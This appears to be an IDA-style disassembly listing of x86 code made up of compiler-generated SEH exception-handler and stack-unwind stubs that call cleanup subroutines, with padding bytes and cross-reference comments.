
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE40	proc near		; DATA XREF: sub_40EE40+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F218o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B68
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F6D0	proc near		; DATA XREF: sub_40F6D0+2o
		mov	eax, offset dword_4407F0
		jmp	sub_437AB8
SEH_40F6D0	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A568:				; DATA XREF: ___:0044097Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FE70	proc near		; DATA XREF: sub_40FE70+2o
		mov	eax, offset dword_440950
		jmp	sub_437AB8
SEH_40FE70	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A69B:				; DATA XREF: ___:00440A34o
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6B1:				; DATA XREF: ___:00440A44o
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6BC:				; DATA XREF: ___:00440A4Co
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6C7:				; DATA XREF: ___:00440A54o
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6D2:				; DATA XREF: ___:00440A5Co
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6DD:				; DATA XREF: ___:00440A64o
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6E8:				; DATA XREF: ___:00440A6Co
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6F3:				; DATA XREF: ___:00440A74o
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A709:				; DATA XREF: ___:00440A84o
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A714:				; DATA XREF: ___:00440A8Co
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A71F:				; DATA XREF: ___:00440A94o
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72A:				; DATA XREF: ___:00440A9Co
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A799:				; DATA XREF: ___:00440AE4o
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7A4:				; DATA XREF: ___:00440AECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7B2:				; DATA XREF: ___:00440AF4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7C0:				; DATA XREF: ___:00440AFCo
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7E1:				; DATA XREF: ___:00440B14o
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7F7:				; DATA XREF: ___:00440B24o
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A80D:				; DATA XREF: ___:00440B34o
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A818:				; DATA XREF: ___:00440B3Co
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A823:				; DATA XREF: ___:00440B44o
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A82E:				; DATA XREF: ___:00440B4Co
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A839:				; DATA XREF: ___:00440B54o
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A84F:				; DATA XREF: ___:00440B6Co
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A85A:				; DATA XREF: ___:00440B7Co
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A865:				; DATA XREF: ___:00440B84o
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A87B:				; DATA XREF: ___:00440B9Co
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A891:				; DATA XREF: ___:00440BB4o
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8A7:				; DATA XREF: ___:00440BC4o
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8B2:				; DATA XREF: ___:00440BCCo
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8D3:				; DATA XREF: sub_410030+8o
		mov	eax, offset dword_440A08
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411930	proc near		; DATA XREF: sub_411930+2o
		mov	eax, offset dword_440C18
		jmp	sub_437AB8
SEH_411930	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4119E0	proc near		; DATA XREF: sub_4119E0+2o
		mov	eax, offset dword_440C48
		jmp	sub_437AB8
SEH_4119E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9B8:				; DATA XREF: ___:00440CA4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A60	proc near		; DATA XREF: sub_411A60+2o
		mov	eax, offset dword_440C78
		jmp	sub_437AB8
SEH_411A60	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AA18:				; DATA XREF: ___:00440CFCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B20	proc near		; DATA XREF: sub_411B20+2o
		mov	eax, offset dword_440CD0
		jmp	sub_437AB8
SEH_411B20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411C10	proc near		; DATA XREF: sub_411C10+8o
		mov	eax, offset dword_440D28
		jmp	sub_437AB8
SEH_411C10	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AAE8:				; DATA XREF: ___:00440DD4o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4120B0	proc near		; DATA XREF: sub_4120B0+8o
		mov	eax, offset dword_440DA8
		jmp	sub_437AB8
SEH_4120B0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_43AB90:				; DATA XREF: ___:00440E74o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ABAE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ABAE:				; CODE XREF: ___:0043ABA0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412780	proc near		; DATA XREF: sub_412780+2o
		mov	eax, offset dword_440E48
		jmp	sub_437AB8
SEH_412780	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ABD8:				; DATA XREF: ___:00440EACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412A40	proc near		; DATA XREF: sub_412A40+8o
		mov	eax, offset dword_440E80
		jmp	sub_437AB8
SEH_412A40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412CE0	proc near		; DATA XREF: sub_412CE0+2o
		mov	eax, offset dword_440EB8
		jmp	sub_437AB8
SEH_412CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC18:				; DATA XREF: ___:00440F14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC4E:				; DATA XREF: ___:00412D88o
		mov	eax, offset dword_440EE8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC7B:				; DATA XREF: ___:00440F74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4131F0	proc near		; DATA XREF: sub_4131F0+2o
		mov	eax, offset dword_440F48
		jmp	sub_437AB8
SEH_4131F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132F0	proc near		; DATA XREF: sub_4132F0+2o
		mov	eax, offset dword_440F90
		jmp	sub_437AB8
SEH_4132F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133B0	proc near		; DATA XREF: sub_4133B0+2o
		mov	eax, offset dword_440FD8
		jmp	sub_437AB8
SEH_4133B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4134A0	proc near		; DATA XREF: sub_4134A0+2o
		mov	eax, offset dword_441010
		jmp	sub_437AB8
SEH_4134A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4135E0	proc near		; DATA XREF: sub_4135E0+2o
		mov	eax, offset dword_441040
		jmp	sub_437AB8
SEH_4135E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401582
; ---------------------------------------------------------------------------


loc_43AD78:				; DATA XREF: ___:0044109Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413740	proc near		; DATA XREF: sub_413740+2o
		mov	eax, offset dword_441070
		jmp	sub_437AB8
SEH_413740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD98:				; DATA XREF: ___:004410D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4138B0	proc near		; DATA XREF: sub_4138B0+2o
		mov	eax, offset dword_4410A8
		jmp	sub_437AB8
SEH_4138B0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADD8:				; DATA XREF: ___:00441114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401582

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A80	proc near		; DATA XREF: sub_413A80+2o
		mov	eax, offset dword_4410E8
		jmp	sub_437AB8
SEH_413A80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE08:				; DATA XREF: ___:00413BB2o
		mov	eax, offset dword_441128
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE28:				; DATA XREF: ___:00441184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE30:				; DATA XREF: ___:0044118Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43AE3B:				; DATA XREF: ___:00441194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413C40	proc near		; DATA XREF: sub_413C40+2o
		mov	eax, offset dword_441158
		jmp	sub_437AB8
SEH_413C40	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE68:				; DATA XREF: ___:004411CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E70	proc near		; DATA XREF: sub_413E70+2o
		mov	eax, offset dword_4411A0
		jmp	sub_437AB8
SEH_413E70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEBB:				; DATA XREF: ___:00441224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414160	proc near		; DATA XREF: sub_414160+2o
		mov	eax, offset dword_4411F8
		jmp	sub_437AB8
SEH_414160	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEF8:				; DATA XREF: ___:00441264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF10:				; DATA XREF: ___:004141F2o
		mov	eax, offset dword_441238
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF38:				; DATA XREF: ___:004412ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414300	proc near		; DATA XREF: sub_414300+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_414300	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
